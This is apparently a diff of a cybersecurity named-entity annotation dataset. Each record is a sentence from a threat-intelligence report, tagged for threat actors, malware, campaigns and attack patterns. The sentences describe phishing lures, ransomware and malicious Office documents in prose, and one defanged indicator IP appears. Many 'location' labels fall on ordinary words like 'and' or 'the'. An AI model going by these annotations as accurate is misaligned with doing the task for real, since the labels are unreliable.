+{"id":13951,"text":" In fact, as detailed in security reports, DarkSide offers both the DDoS and call center options.","entities":[{"id":48767,"label":"threat-actor","start_offset":43,"end_offset":52}],"relations":[],"Comments":[]}
+{"id":5564,"text":"Cyber Crime | Expert Perspective | Cyber Threats","entities":[],"relations":[],"Comments":[]}
+{"id":5481,"text":"A certain hayat22 and love piqued our interest.","entities":[{"id":51474,"label":"identity","start_offset":10,"end_offset":17},{"id":51483,"label":"identity","start_offset":22,"end_offset":26}],"relations":[],"Comments":[]}
+{"id":1551,"text":"Clicking the \u201cEnable Content\u201d button is the key to the attack.","entities":[],"relations":[],"Comments":[]}
+{"id":2115,"text":"The Apache Foundation has urged everyone to apply the security updates as soon as possible.","entities":[{"id":45398,"label":"identity","start_offset":4,"end_offset":21}],"relations":[],"Comments":[]}
+{"id":5256,"text":"Based on hardcoded strings in the Agent Version, the malicious apps were developed as early as April 2015.","entities":[{"id":51295,"label":"TIME","start_offset":95,"end_offset":105}],"relations":[],"Comments":[]}
+{"id":5834,"text":"It's nothing new.","entities":[],"relations":[],"Comments":[]}
+{"id":11203,"text":"In later versions it was obfuscated with Base64.","entities":[],"relations":[],"Comments":[]}
+{"id":3816,"text":"Figure 6.","entities":[],"relations":[],"Comments":[]}
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+{"id":14006,"text":"Operation Earth Kitsune is a continuation of those campaigns.","entities":[{"id":47180,"label":"campaign","start_offset":0,"end_offset":22}],"relations":[],"Comments":[]}
+{"id":6515,"text":"This is unexpected since we believe this attack is connected to the MuddyWater threat actors \u2014 and in other connected campaigns, the attackers have shown higher levels of technical skill.","entities":[{"id":20188,"label":"threat-actor","start_offset":68,"end_offset":78},{"id":20189,"label":"location","start_offset":95,"end_offset":98},{"id":20190,"label":"location","start_offset":161,"end_offset":167}],"relations":[],"Comments":[]}
+{"id":2021,"text":" All of these details point toward the threat actor having modified or copied certain elements from the UPX packer, which can be further confirmed by comparing a UPX-packed binary with a custom-packed HelloXD binary.","entities":[{"id":47117,"label":"malware","start_offset":201,"end_offset":208},{"id":47118,"label":"tools","start_offset":104,"end_offset":114}],"relations":[],"Comments":[]}
+{"id":5910,"text":"Thanks Ed.","entities":[],"relations":[],"Comments":[]}
+{"id":2292,"text":"Full details of Glupteba\u2019s network protocol can be found in this report from 2020, the following Python script illustrates how one can decrypt an encrypted domain name:","entities":[{"id":45447,"label":"TIME","start_offset":77,"end_offset":81},{"id":45446,"label":"malware","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
+{"id":772,"text":"Figure 7:","entities":[],"relations":[],"Comments":[]}
+{"id":5083,"text":"The emails contained links spoofing legitimate job hunting websites like Indeed and ZipRecruiter.","entities":[{"id":51193,"label":"identity","start_offset":84,"end_offset":96},{"id":51192,"label":"identity","start_offset":73,"end_offset":79}],"relations":[],"Comments":[]}
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+{"id":8324,"text":"A new form is displayed if the information is not provided via command prompt.","entities":[],"relations":[],"Comments":[]}
+{"id":6390,"text":"Coincidentally, this happens to be one day after the \u200b\u200bRoshan_CV.ISO file was uploaded.","entities":[],"relations":[],"Comments":[]}
+{"id":2351,"text":"Since Apple still supports Catalina and pushes security updates for it, we decided to take a deeper look into this exploit.","entities":[{"id":47406,"label":"identity","start_offset":6,"end_offset":11},{"id":47407,"label":"SOFTWARE","start_offset":27,"end_offset":35}],"relations":[],"Comments":[]}
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+{"id":5792,"text":"Any initial thoughts around this?","entities":[],"relations":[],"Comments":[]}
+{"id":6369,"text":"The decrypted configuration file is:  Each parameter is delineated with a pipe | character, and one of the values is the IP seen earlier of 174.129.157[.]251 and port of 443.","entities":[{"id":19748,"label":"location","start_offset":92,"end_offset":95},{"id":19749,"label":"location","start_offset":96,"end_offset":99},{"id":19750,"label":"IPV4","start_offset":140,"end_offset":157},{"id":19751,"label":"location","start_offset":158,"end_offset":161}],"relations":[],"Comments":[]}
+{"id":6796,"text":"Use XOR for the file saved from the second step, where ASCII code converted from its own hexadecimal volume serial number is used as the key.","entities":[],"relations":[],"Comments":[]}
+{"id":4123,"text":"As for the SSL version of SmileSvr, the capability of SSL communication is built by using wolfSSL, which is a lightweight, C-language based SSL\/TLS library.","entities":[],"relations":[],"Comments":[]}
+{"id":5348,"text":"First, the core component sends the supported commands to the C&C server and then enters in a loop where it expects one of the commands.","entities":[],"relations":[],"Comments":[]}
+{"id":13637,"text":"These can protect users and businesses from threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs.","entities":[],"relations":[],"Comments":[]}
+{"id":3042,"text":" If you take some time to understand these basic ideas and take these basic steps, you can ensure that you\u2019ve got a good start on using new devices more safely and with better privacy during the holiday season.  Of course, this isn\u2019t an exhaustive list.","entities":[],"relations":[],"Comments":[]}
+{"id":2748,"text":"Read on for more details.","entities":[],"relations":[],"Comments":[]}
+{"id":3747,"text":"This post will be updated with new findings as they are discovered.","entities":[],"relations":[],"Comments":[]}
+{"id":1908,"text":"This application has the same encryption routine as other Urpage applications.","entities":[{"id":45175,"label":"threat-actor","start_offset":58,"end_offset":64}],"relations":[],"Comments":[]}
+{"id":5420,"text":" Based on our observation, we strongly believe that there are more targeted devices from other vendors.","entities":[],"relations":[],"Comments":[]}
+{"id":11314,"text":" HYPERSCRAPE requires the victim\u2019s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.","entities":[],"relations":[],"Comments":[]}
+{"id":5309,"text":"During this part, the core component initializes the modules.","entities":[],"relations":[],"Comments":[]}
+{"id":1691,"text":"This is a classic lure technique \u2013 including something the target will find interesting or important causing them to open the file and download the malware on to the victims\u2019 system.","entities":[],"relations":[],"Comments":[]}
+{"id":11727,"text":"1.a JS file  Trojan.JS.SIDEWINDER.A  Downloader.","entities":[],"relations":[],"Comments":[]}
+{"id":2750,"text":"Environment variables are used by shell software to store pieces of information like the location of the user\u2019s home directory.","entities":[],"relations":[],"Comments":[]}
+{"id":14161,"text":"This should be as automated as possible and should include 3rd party threat intelligence (i.e. CERT, ISAC, ISAO feeds) History of expertise in correlating multiple threat vectors and the use of AI and Machine Learning","entities":[],"relations":[],"Comments":[]}
+{"id":5122,"text":"The reality is that cybercriminals are out for profit.","entities":[],"relations":[],"Comments":[]}
+{"id":12675,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.","entities":[],"relations":[],"Comments":[]}
+{"id":5363,"text":"from an Asus RT-AC68U router","entities":[],"relations":[],"Comments":[]}
+{"id":13260,"text":"Figure 4.","entities":[],"relations":[],"Comments":[]}
+{"id":3297,"text":"5.      \u201crestart\u201d: kills the process itself and restarts it via scheduled malicious tasks. SnsInfo","entities":[],"relations":[],"Comments":[]}
+{"id":14372,"text":"The Trend Micro\u2122 Deep Discovery\u2122 threat protection platform enables companies to detect, analyze, and respond to modern threats such as sophisticated malware, targeted attacks, and APTs.","entities":[],"relations":[],"Comments":[]}
+{"id":2472,"text":"Figure 16 shows the contents that we observed in the wild, which should not be considered a webshell as it does nothing more than display SPRING_CORE_RCE.","entities":[{"id":47544,"label":"attack-pattern","start_offset":92,"end_offset":100}],"relations":[],"Comments":[]}
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+{"id":5724,"text":" Phishing attacks are broad, leveraging email messages crafted around common, generalized topics in order to trick recipients into opening an email message and its attachments.","entities":[{"id":17688,"label":"attack-pattern","start_offset":1,"end_offset":9},{"id":17689,"label":"location","start_offset":18,"end_offset":21},{"id":17690,"label":"location","start_offset":156,"end_offset":159}],"relations":[],"Comments":[]}
+{"id":3787,"text":"Trend Micro discovered the ChessMaster campaign back in July 2017 as part of our monitoring efforts to protect our customers.","entities":[{"id":49626,"label":"identity","start_offset":0,"end_offset":11},{"id":49627,"label":"campaign","start_offset":27,"end_offset":47},{"id":49625,"label":"TIME","start_offset":56,"end_offset":65}],"relations":[],"Comments":[]}
+{"id":13599,"text":"In this case, the attack script will show an alert prompt with a message that reads \u201cYour Flash version is too low, please install the latest version and try again!\u201d and then redirects the victim to the fake Flash installer download website they control.","entities":[{"id":51686,"label":"malware","start_offset":18,"end_offset":32}],"relations":[],"Comments":[]}
+{"id":4105,"text":"The ICMP version of SmileSvr will create an ICMP socket to connect to the specified C&C address, which is defined in a configuration file.","entities":[],"relations":[],"Comments":[]}
+{"id":8286,"text":" Figure 1. Stolen document posted on Facebook (Click to enlarge)","entities":[],"relations":[],"Comments":[]}
+{"id":3867,"text":"At first glance, it seems ChessMaster\u2019s evolution over the past few months involves subtle changes.","entities":[{"id":49727,"label":"malware","start_offset":26,"end_offset":37}],"relations":[],"Comments":[]}
+{"id":264,"text":"Our teams at Palo Alto Networks will continue to monitor and work to protect our customers against such attacks.","entities":[{"id":44666,"label":"identity","start_offset":13,"end_offset":31}],"relations":[],"Comments":[]}
+{"id":2631,"text":"Since its inception, the LockBit 2.0 RaaS attracted affiliates via recruitment campaigns in underground forums, and thus became particularly prolific during the third quarter of calendar year 2021.","entities":[{"id":45629,"label":"malware","start_offset":25,"end_offset":36},{"id":45630,"label":"TIME","start_offset":192,"end_offset":196}],"relations":[],"Comments":[]}
+{"id":3895,"text":"CISA recommends critical infrastructure owners to implement robust network segmentation between IT and OT networks and make sure backup procedures are executed and tested regularly.","entities":[{"id":49748,"label":"identity","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
+{"id":4857,"text":"These campaigns were similar regardless of target, consisting of a credential phishing email with a link to an attacker-controlled phishing page.","entities":[{"id":50839,"label":"attack-pattern","start_offset":67,"end_offset":86}],"relations":[],"Comments":[]}
+{"id":1933,"text":"The many similarities and connections show that threat actors do not work in isolation, and that attacks do not necessarily appear from out of nowhere.","entities":[],"relations":[],"Comments":[]}
+{"id":12871,"text":"     Figure 3 - Workbench results pulling together a chain of attack involved Credential Dumping using Mimikatz Malware.","entities":[{"id":40101,"label":"attack-pattern","start_offset":78,"end_offset":96}],"relations":[],"Comments":[]}
+{"id":14153,"text":"Rather, attacks are laterally moving within an organization to find critical systems that will allow them to increase their chance of the organization paying the ransom.","entities":[],"relations":[],"Comments":[]}
+{"id":1473,"text":" 2. Mobile banking apps sharing one single key  Mobile banking apps are particularly sensitive with significant security concerns, which is why we were surprised to discover one certificate was used to sign more than 300 mobile banking apps in the Google Play Store.","entities":[{"id":46777,"label":"SOFTWARE","start_offset":248,"end_offset":265}],"relations":[],"Comments":[]}
+{"id":10815,"text":"The djdeeu class registers a broadcast receiver for CONNECTIVITY_CHANGE.","entities":[],"relations":[],"Comments":[]}
+{"id":3276,"text":"It then changes the port number of the HTTP server inside the configuration file and starts the Everything process, which will open an HTTP server to allow the threat actor to access the file system of the victim.","entities":[],"relations":[],"Comments":[]}
+{"id":1484,"text":"Unfortunately, we uncovered some of these developers using the same certificate for every app.","entities":[],"relations":[],"Comments":[]}
+{"id":472,"text":"The importance and usefulness of DGA is best shown by the fact that it\u2019s been in regular and constant use since at least 2008.","entities":[{"id":46125,"label":"TIME","start_offset":121,"end_offset":125}],"relations":[],"Comments":[]}
+{"id":13692,"text":"How to defend against BEC and other phishing scams","entities":[{"id":42578,"label":"attack-pattern","start_offset":36,"end_offset":44}],"relations":[],"Comments":[]}
+{"id":2859,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
+{"id":3843,"text":"The figure below shows a summary of the changes between each version:  Figure 11.","entities":[],"relations":[],"Comments":[]}
+{"id":8425,"text":"This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.","entities":[{"id":25953,"label":"malware","start_offset":83,"end_offset":90},{"id":25954,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
+{"id":8897,"text":"For example, Microsoft\u2019s outlook.exe is usually found in the Program Files directory.","entities":[],"relations":[],"Comments":[]}
+{"id":2360,"text":"For example, the payload we obtained contained a kernel module for capturing keystrokes.","entities":[],"relations":[],"Comments":[]}
+{"id":8795,"text":"The Iranian attacker group (APT35) and the Chinese attacker group (APT31) targeted campaign staffers\u2019 personal emails with credential phishing emails and emails containing tracking links.","entities":[{"id":27224,"label":"location","start_offset":35,"end_offset":38},{"id":27227,"label":"location","start_offset":83,"end_offset":91},{"id":27228,"label":"attack-pattern","start_offset":134,"end_offset":142},{"id":27229,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]}
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+{"id":13514,"text":"However, this does not mean that practicing and implementing the right security safeguards will not help in defending against cybermercenary attacks.","entities":[],"relations":[],"Comments":[]}
+{"id":276,"text":"On the Unit 42 website, you will also find a free ATOM which contains a structured mapping of the Gamaredon group\u2019s tactics aligned to MITRE\u2019s ATT&CK framework.","entities":[{"id":44673,"label":"identity","start_offset":7,"end_offset":14},{"id":44674,"label":"threat-actor","start_offset":98,"end_offset":107},{"id":44675,"label":"SOFTWARE","start_offset":135,"end_offset":159},{"id":44676,"label":"SOFTWARE","start_offset":50,"end_offset":54}],"relations":[],"Comments":[]}
+{"id":13478,"text":"To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.","entities":[],"relations":[],"Comments":[]}
+{"id":10515,"text":"APP was designed specifically for high-risk accounts.","entities":[],"relations":[],"Comments":[]}
+{"id":13502,"text":"Countries in which Void Balaur email targets were located      In addition, Void Balaur also offers their customers access to a large amount of private data, which includes information such as flight and travel data (passports and ticket purchases); criminal records; financial records and credit histories; pension funds; and even printouts of SMS messages.","entities":[{"id":51569,"label":"threat-actor","start_offset":19,"end_offset":30},{"id":51570,"label":"threat-actor","start_offset":76,"end_offset":87}],"relations":[],"Comments":[]}
+{"id":8761,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
+{"id":6577,"text":"Figure 3: Hack520\u2019s pet pig","entities":[],"relations":[],"Comments":[]}
+{"id":346,"text":" Yesterday we picked up an e-mail campaign pretending to be a fax report that carried a .zip attachment with a PDF inside.","entities":[{"id":46034,"label":"campaign","start_offset":27,"end_offset":42}],"relations":[],"Comments":[]}
+{"id":7918,"text":"This third wave was set to wipe systems using the Disttrack malware on January 23, 2017.","entities":[],"relations":[],"Comments":[]}
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+{"id":11462,"text":"The first step is to understand the scope of the problem.","entities":[],"relations":[],"Comments":[]}
+{"id":9497,"text":"The control server is implemented by registering routes.","entities":[],"relations":[],"Comments":[]}
+{"id":14051,"text":"While this mechanism may sound quite common in other campaigns, what is interesting is the details they have in common with previous campaigns attributed to APT37.","entities":[{"id":47203,"label":"threat-actor","start_offset":157,"end_offset":162}],"relations":[],"Comments":[]}
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+{"id":4532,"text":"The first step is to understand the scope of the problem.","entities":[],"relations":[],"Comments":[]}
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+{"id":68,"text":"For context, in January, we found a Monero mining campaign that infected around 15 million systems, largely in the developing world.","entities":[{"id":45827,"label":"SOFTWARE","start_offset":36,"end_offset":42},{"id":45826,"label":"TIME","start_offset":16,"end_offset":23},{"id":45828,"label":"location","start_offset":115,"end_offset":131}],"relations":[],"Comments":[]}
+{"id":14155,"text":"This means the actors behind many financially motivated and targeted attacks will move across the network, and their tracks will be left in other areas of their network, not just on the endpoint.","entities":[],"relations":[],"Comments":[]}
+{"id":5520,"text":"That\u2019s because the hackers target the organization directly.","entities":[],"relations":[],"Comments":[]}
+{"id":4055,"text":"In the configuration, there are three C&C addresses and corresponding port numbers.","entities":[],"relations":[],"Comments":[]}
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+{"id":13085,"text":"That\u2019s why we\u2019re focusing a great deal of our research and development efforts right now on the intersection of IT and operational technology (OT).","entities":[],"relations":[],"Comments":[]}
+{"id":9951,"text":"Trend Micro\u2122 Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.","entities":[{"id":30391,"label":"location","start_offset":55,"end_offset":60},{"id":30392,"label":"location","start_offset":105,"end_offset":115},{"id":30393,"label":"location","start_offset":119,"end_offset":123},{"id":30394,"label":"attack-pattern","start_offset":139,"end_offset":153},{"id":30395,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
+{"id":5016,"text":"We promptly identify and remove any such content but have not observed any significant shifts from the normal levels of activity that occur in the region.","entities":[],"relations":[],"Comments":[]}
+{"id":7935,"text":"Google Play downloads Android packages (APKs) to a protected space of the file system.","entities":[],"relations":[],"Comments":[]}
+{"id":6098,"text":"Recent domains used in email campaigns: BazarLoader ISO samples: Recent BUMBLEBEE ISO samples: Recent BUMBLEBEE C2:","entities":[{"id":18855,"label":"malware","start_offset":72,"end_offset":81},{"id":18856,"label":"malware","start_offset":102,"end_offset":111}],"relations":[],"Comments":[]}
+{"id":2643,"text":" LockBit 2.0 is another example of RaaS that leverages double extortion techniques as part of the attack to pressure victims into paying the ransom.","entities":[{"id":45644,"label":"malware","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]}
+{"id":13677,"text":"     Figure 5.","entities":[],"relations":[],"Comments":[]}
+{"id":861,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
+{"id":161,"text":" Bringing that lesson to bear here, the only way the operating system could protect against ransomware would be to raise \u201cAre you sure?\u201d dialog boxes on everyday operations against the kinds of files that ransomware targets.","entities":[],"relations":[],"Comments":[]}
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+{"id":8850,"text":"Detection support for the BLOB is probably low.","entities":[],"relations":[],"Comments":[]}
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+{"id":2551,"text":"Unit 42 researchers have been following the Shamoon 2 attacks closely since November 2016.","entities":[{"id":47739,"label":"identity","start_offset":0,"end_offset":7},{"id":47740,"label":"threat-actor","start_offset":44,"end_offset":53},{"id":47741,"label":"TIME","start_offset":76,"end_offset":89}],"relations":[],"Comments":[]}
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+{"id":3311,"text":"     Figure 24.","entities":[],"relations":[],"Comments":[]}
+{"id":4895,"text":"Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.","entities":[{"id":50911,"label":"SOFTWARE","start_offset":127,"end_offset":139}],"relations":[],"Comments":[]}
+{"id":1264,"text":"Figure 2.","entities":[],"relations":[],"Comments":[]}
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+{"id":13651,"text":"We first noticed the campaign from a large group of email domains used in phishing attempts.","entities":[{"id":51739,"label":"attack-pattern","start_offset":74,"end_offset":82},{"id":51738,"label":"campaign","start_offset":21,"end_offset":29}],"relations":[{"id":1149,"from_id":51738,"to_id":51739,"type":"uses"}],"Comments":[]}
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+{"id":3101,"text":"But the key point to understand about these vulnerabilities is that they are information disclosure vulnerabilities that can enable processes and applications to access information they otherwise shouldn\u2019t be able to: user-mode applications can access privileged information in the kernel and throughout the operating system.","entities":[],"relations":[],"Comments":[]}
+{"id":14172,"text":"However, marking as it does an escalation in punitive actions directed at the Russian state, it may also put US companies more directly in the firing line of cyber-attacks from the east.","entities":[{"id":48218,"label":"identity","start_offset":78,"end_offset":91}],"relations":[],"Comments":[]}
+{"id":4040,"text":"Timestomping is when the timestamp of the payload file (.bin) is altered to make it harder for incident response analysts to find it.","entities":[],"relations":[],"Comments":[]}
+{"id":13860,"text":" The FBI has confirmed that DarkSide, a cybercriminal group believed to have originated in Eastern Europe, is behind the attack.","entities":[],"relations":[],"Comments":[]}
+{"id":255,"text":" We detected campaigns of fake downloads where threat actors have set up web pages to host malicious binaries.","entities":[{"id":44660,"label":"attack-pattern","start_offset":26,"end_offset":40},{"id":44661,"label":"attack-pattern","start_offset":86,"end_offset":109}],"relations":[],"Comments":[]}
+{"id":9658,"text":"Figure 8.","entities":[],"relations":[],"Comments":[]}
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+{"id":14146,"text":"Instead, what we see in SLUB and Operation Earth Kitsune is the evolution of an advanced threat actor over time: one that builds on what worked in the past to become more efficient in the present.","entities":[{"id":48209,"label":"campaign","start_offset":33,"end_offset":56},{"id":48208,"label":"malware","start_offset":24,"end_offset":29}],"relations":[],"Comments":[]}
+{"id":14159,"text":"This will improve the organization\u2019s ability to prevent critical data exfiltration or the compromise of critical systems within their network.","entities":[],"relations":[],"Comments":[]}
+{"id":5816,"text":"As we approach ubiquitous computing, ubiquitous connectivity, cyber then becomes very relevant.","entities":[],"relations":[],"Comments":[]}
+{"id":12485,"text":"We terminated 34 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
+{"id":9158,"text":"It was delivered only if the victim\u2019s source IP address (and time) met Lurk\u2019s parameters\u2014otherwise users received a 404 error response.","entities":[{"id":28250,"label":"location","start_offset":17,"end_offset":21},{"id":28251,"label":"attack-pattern","start_offset":38,"end_offset":44},{"id":28252,"label":"location","start_offset":57,"end_offset":60},{"id":28253,"label":"location","start_offset":61,"end_offset":65},{"id":28254,"label":"malware","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]}
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+{"id":4021,"text":"Through long-term monitoring, we learned that this threat group is proficient at red teamwork.","entities":[],"relations":[],"Comments":[]}
+{"id":5295,"text":" It reloads itself with a new \"[ktest]\" process name.","entities":[],"relations":[],"Comments":[]}
+{"id":3667,"text":"After gaining a foothold in the system, the dynamic data exchange (DDE) feature in Windows and legitimate cloud-based services will then be abused to deliver the malware or to establish command-and-control (C&C) communication.","entities":[{"id":49451,"label":"SOFTWARE","start_offset":83,"end_offset":90}],"relations":[],"Comments":[]}
+{"id":3457,"text":"Blackgear\u2019s operators are well-organized, developing their own tools, which we observed to have been recently fine-tuned, based on their latest attacks.","entities":[{"id":49242,"label":"threat-actor","start_offset":0,"end_offset":21}],"relations":[],"Comments":[]}
+{"id":2717,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
+{"id":1611,"text":"El l\u00edmite m\u00e1ximo de facturaci\u00f3n del servicio puede variar en funci\u00f3n de tu operador (18 a 30 euros\/mes).","entities":[],"relations":[],"Comments":[]}
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+{"id":4399,"text":"A new form is displayed if the information is not provided via command prompt.","entities":[],"relations":[],"Comments":[]}
+{"id":14119,"text":"These both equate to the daily working times for that time zone.","entities":[],"relations":[],"Comments":[]}
+{"id":10082,"text":"Sunburst is a sophisticated backdoor that provides an attacker nearly complete control over an affected system.","entities":[],"relations":[],"Comments":[]}
+{"id":3465,"text":"Here\u2019s a summary of Blackgear\u2019s latest campaign:  Use a decoy document or fake installer file, sent via spam email to lure a potential victim into clicking it.","entities":[{"id":49260,"label":"campaign","start_offset":20,"end_offset":47},{"id":49262,"label":"attack-pattern","start_offset":104,"end_offset":114},{"id":49261,"label":"attack-pattern","start_offset":56,"end_offset":93}],"relations":[{"id":771,"from_id":49260,"to_id":49261,"type":"uses"},{"id":772,"from_id":49260,"to_id":49262,"type":"uses"}],"Comments":[]}
+{"id":434,"text":"In this case the coin mining is unauthorized: in essence, it\u2019s an attack against the user\u2019s resources.","entities":[],"relations":[],"Comments":[]}
+{"id":2490,"text":"Developers and users who have projects or products based on JDK9+ and the Spring Framework (or its derivatives) are strongly urged to patch as soon as possible.","entities":[{"id":45538,"label":"SOFTWARE","start_offset":60,"end_offset":65},{"id":45539,"label":"SOFTWARE","start_offset":74,"end_offset":90}],"relations":[],"Comments":[]}
+{"id":9007,"text":"Updated the detection names on January 25, 2018, 9:47 PM PDT  ","entities":[{"id":27823,"label":"TIME","start_offset":49,"end_offset":60}],"relations":[],"Comments":[]}
+{"id":4506,"text":"Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.","entities":[{"id":50306,"label":"SOFTWARE","start_offset":0,"end_offset":13}],"relations":[],"Comments":[]}
+{"id":811,"text":"(Our newest release, PAN-OS 8.0, also includes protections to significantly limit or eliminate password reuse.)","entities":[],"relations":[],"Comments":[]}
+{"id":469,"text":" Why should I care, what can it do to me?","entities":[],"relations":[],"Comments":[]}
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+{"id":2260,"text":"At this time, WildFire is able to correctly identify the samples associated with this campaign as malicious.","entities":[{"id":47332,"label":"SOFTWARE","start_offset":14,"end_offset":22}],"relations":[],"Comments":[]}
+{"id":13507,"text":"One of the group\u2019s more notable campaigns involved attacks that targeted the private email addresses of government officials and politicians in an Eastern European country in September 2021.","entities":[{"id":51578,"label":"TIME","start_offset":175,"end_offset":189},{"id":51577,"label":"location","start_offset":147,"end_offset":163}],"relations":[],"Comments":[]}
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+{"id":14101,"text":"During the analysis, we found a clear indication of code sharing for the screenshot functionality.","entities":[],"relations":[],"Comments":[]}
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+{"id":923,"text":"Figure 9.","entities":[],"relations":[],"Comments":[]}
+{"id":5077,"text":"We suspect that these groups work for the same entity with a shared supply chain, hence the use of the same exploit kit, but each operate with a different mission set and deploy different techniques.","entities":[],"relations":[],"Comments":[]}
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+{"id":9726,"text":"Malicious attacks targeting Mac devices are not as common as its counterparts, but the discovery of this new MacOS backdoor that is presumably distributed via phishing email calls for every user to adopt best practices for phishing attacks regardless of operating system.","entities":[{"id":29652,"label":"location","start_offset":40,"end_offset":43},{"id":29653,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":29654,"label":"location","start_offset":204,"end_offset":208},{"id":29655,"label":"attack-pattern","start_offset":223,"end_offset":231}],"relations":[],"Comments":[]}
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+{"id":1564,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
+{"id":2055,"text":"This, however, was not the only graph we observed x4k creating.","entities":[{"id":45236,"label":"threat-actor","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
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+{"id":7111,"text":" This confirms that this threat actor is abusing this legitimate program to sideload its backdoors.","entities":[],"relations":[],"Comments":[]}
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+{"id":9471,"text":"Stage 5: Client.MainConsole","entities":[],"relations":[],"Comments":[]}
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+{"id":5021,"text":"TAG would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.","entities":[{"id":51084,"label":"identity","start_offset":0,"end_offset":3},{"id":51085,"label":"identity","start_offset":28,"end_offset":72}],"relations":[],"Comments":[]}
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+{"id":8231,"text":"We also helped close the fraudulent domains.","entities":[],"relations":[],"Comments":[]}
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-{"id":654,"text":"Command and Control  Petya contains no Command and Control mechanisms that we know of.","entities":[{"id":2153,"label":"malware","start_offset":21,"end_offset":26}],"relations":[],"Comments":[]}
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-{"id":656,"text":" Lateral Movement  Petya uses three mechanisms to spread to additional hosts.","entities":[{"id":2156,"label":"malware","start_offset":19,"end_offset":24},{"id":46235,"label":"attack-pattern","start_offset":1,"end_offset":17}],"relations":[],"Comments":[]}
-{"id":657,"text":" Ransomware attacks are very common, but they are rarely coupled with an exploit that allows the malware to spread as a network worm.","entities":[],"relations":[],"Comments":[]}
-{"id":658,"text":"The WannaCry attacks in May, 2017 demonstrated that many Windows systems had not been patched for this vulnerability.","entities":[{"id":2160,"label":"malware","start_offset":4,"end_offset":12},{"id":46236,"label":"TIME","start_offset":24,"end_offset":33},{"id":46237,"label":"SOFTWARE","start_offset":57,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":659,"text":"The spread of Petya using this vulnerability indicates that many organizations may still be vulnerable, despite the attention WannaCry received.","entities":[{"id":2163,"label":"malware","start_offset":14,"end_offset":19},{"id":2166,"label":"malware","start_offset":126,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":660,"text":" As always if you have any questions, please come to the Threat & Vulnerability Discussions on our Live Community.  Version Summary  June 27, 2017:  June 27, 2017 – 1:08 PM PT  June 28, 2017 – 8:40 AM PT  June 29, 2017 - 5:00 PM PT  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":46238,"label":"TIME","start_offset":133,"end_offset":146},{"id":46241,"label":"TIME","start_offset":177,"end_offset":203},{"id":46242,"label":"TIME","start_offset":205,"end_offset":231},{"id":46240,"label":"TIME","start_offset":149,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":661,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
-{"id":662,"text":"Nearly all of us have a use for Microsoft Office documents.","entities":[{"id":46243,"label":"SOFTWARE","start_offset":32,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":663,"text":"Whether they are work documents, e-receipts, or a lease on a new apartment – Office documents are useful to all of us, and this is part of the reason we’re very likely to open an office document we receive as an attachment in e-mail.","entities":[],"relations":[],"Comments":[]}
-{"id":664,"text":"Armed with the knowledge that many people will open nearly any document, even those from an untrusted source, adversaries commonly choose these files in attacks to compromise a system.","entities":[],"relations":[],"Comments":[]}
-{"id":665,"text":"In this threat brief we show you five different ways that Office documents can be subverted and abused to attack and compromise a Windows endpoint, some we’ve already posted about before, and some are new.","entities":[{"id":46244,"label":"SOFTWARE","start_offset":130,"end_offset":137}],"relations":[],"Comments":[]}
-{"id":666,"text":" Macros Macros are the most straight-forward way for an attacker to weaponize Office documents.","entities":[],"relations":[],"Comments":[]}
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-{"id":668,"text":"These scripts can execute immediately as the document opens, without any user interaction (assuming the user has previously enabled macros) and run malicious code on the system.","entities":[],"relations":[],"Comments":[]}
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-{"id":675,"text":" As you can see in this example, attackers try to convince users to disable the security mechanisms added by Microsoft using social engineering, convincing the user to enable content for them to be able to see the full document.","entities":[{"id":45797,"label":"attack-pattern","start_offset":125,"end_offset":143},{"id":44822,"label":"identity","start_offset":109,"end_offset":118}],"relations":[],"Comments":[]}
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-{"id":682,"text":"In a similar way to embedding Adobe Flash files into an Office document, you can also embed equations in documents that will be parsed by Microsoft Equation Editor - a program that lets you easily write mathematical equations: Figure 2.  Microsoft Equation Editor  As in our previous example, vulnerabilities in the equation editor can be exploited by leveraging malicious Office documents.","entities":[{"id":46257,"label":"SOFTWARE","start_offset":30,"end_offset":41},{"id":46258,"label":"SOFTWARE","start_offset":138,"end_offset":163},{"id":46256,"label":"SOFTWARE","start_offset":238,"end_offset":263}],"relations":[],"Comments":[]}
